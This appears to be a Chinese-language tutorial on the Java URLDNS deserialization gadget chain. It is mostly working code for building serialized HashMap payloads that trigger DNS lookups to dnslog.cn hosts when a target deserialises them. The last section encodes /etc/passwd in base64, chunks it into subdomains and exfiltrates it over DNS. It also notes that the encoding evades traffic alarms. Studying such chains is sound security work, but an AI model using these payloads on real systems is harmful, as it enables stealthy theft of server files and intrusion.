java-URLDNS 链条审计
URLDNS 链条，是我们学习 java 反序列化的启蒙链条，通过 java 内置的类函数调用，达到 DNS 外带数据的目的。
首先让我们来看一个小实验
从 dnslog.cn 平台获取一个域名
public class urlDNS {public void URL() throws UnknownHostException {InetAddress address = InetAddress.getByName("1112222221.aro9b9.dnslog.cn");System.out.println(address.getHostName());}public static void main(String[] args) throws UnknownHostException {urlDNS url = new urlDNS();url.URL();}
}
可以看到，我们在前边定义的字符串会被正常外带出来
1）hashmap
hashmap 可以说是 java 反序列化梦开始的地方，可以通过反射，put 等操作，给它赋值。而他默认也实现了 Serializable 接口，也有 readObject()方法。就是反序列化的入口。好多反序列化漏洞都是基于 hashmap 的接口调用利用的。
运行一下这段代码
public class urlDNS {public void URLtest() throws Exception {URL url = new URL("http://1122334455.xq8dz5.dnslog.cn");Map<URL,String> map = new HashMap<>();map.put(url,"1111");}public static void main(String[] args) throws Exception {urlDNS url = new urlDNS();url.URLtest();}
}
我们在上述代码中并没有进行域名的访问，我们的操作只不过是创建了一个 UR 对象，并把这个对象添加到了 hashmap 中，怎么会有 dnslog 的信息带出来呢？
让我们看一看这段代码具体干了什么
hashmap 的 put()方法 ==> hashmap 的 hash() == > URL 的 hashCode() ==> URLStreamHandler 的 hashCode()
==> URLStreamHandler 的 getHostAddress() 最终自动完成域名的解析
打个断点，一步一步跟进一下，就会明白这个链条
2）反序列化
构造 URLDNS 的序列化文件
public void serialize() throws Exception{URL url = new URL("http://111122223333355555567.jlxmu8.dnslog.cn");Map<URL,String> map = new HashMap<URL,String>();Class clazz = Class.forName("java.net.URL");Field hashCode = clazz.getDeclaredField("hashCode");hashCode.setAccessible(true);hashCode.set(url,22);map.put(url,"111");hashCode.set(url,-1);FileOutputStream fos = new FileOutputStream("src/main/upload/dnslog.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(map);oos.close();fos.close();}
这个方法就是序列化一个 URLDNS 的利用链条，当目标主机对我们上传的 ser 文件，进行反序列化时，就会触发 hashmap 里的链条，导致攻击者可以读取服务器数据
因为要对 URL 里的 hashCode 字段赋值为-1 才能满足调用要求，我们利用了 java 的反射机制对其私有变量强制赋值为-1
目标机器上只要有反序列化的方法可以让我们注入成功，就可以读取目标主机的信息了
public void unseri() throws Exception{FileInputStream fis = new FileInputStream("src/main/upload/dnslog.ser");ObjectInputStream ois = new ObjectInputStream(fis);ois.readObject();fis.close();ois.close();}
生成完序列化的 ser 文件，只需要执行反序列画这个方法，目标就会自动去调用我们已经构造好的 DNS 链条，实现数据外带
public static void main(String[] args) throws Exception{urlDNS urlDns = new urlDNS();// urlDns.serialize();urlDns.unseri();}
3) 读取/etc/passwd
有了上边的基础，我们只需要把前面的字符串换成/etc/passwd 读取的变量是不是就可以读取出来了。
public void seriaPasswd() throws Exception{FileInputStream fis = new FileInputStream("src/main/upload/passwd");byte[] byteArray = new byte[fis.available()];fis.read(byteArray);String s = Base64.getEncoder().encodeToString(byteArray);System.out.println(s.length());int counts = s.length()/60;int tail = s.length()%60;List<Map> list = new ArrayList<>();for (int i = 0; i < counts; i++) {String substring = s.substring(i*60, 60*(i+1));// System.out.println(substring);URL url = new URL("http://"+ substring +".2xpfvy.dnslog.cn");Map<URL,String> map = new HashMap<>();map.put(url,"111");Class clazz = Class.forName("java.net.URL");Field hashCode = clazz.getDeclaredField("hashCode");hashCode.setAccessible(true);hashCode.set(url,-1);list.add(map);}System.out.println(Arrays.toString(new List[]{list}));FileOutputStream fos = new FileOutputStream("src/main/upload/pass.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(list);}
由于域名不支持一些特殊字符，我们传递过程中可以进行 base64 加密，一方面可以保证我们拿到信息的完整性，另一方面，加密字符串不那么容易触发一些流量设备的告警，提高数据读取的隐蔽性。
为了演示方便，我把/etc/passwd 复制到了本地，
public void unseriaPasswd() throws Exception{FileInputStream fis = new FileInputStream("src/main/upload/pass.ser");ObjectInputStream ois = new ObjectInputStream(fis);ois.readObject();
}
public static void main(String[] args) throws Exception{urlDNS urlDns = new urlDNS();// urlDns.seriaPasswd();urlDns.unseriaPasswd();
}
看到成功带出来 passwd 的内容，后边就是去处理用 base64 解密
基本原理就是这样。
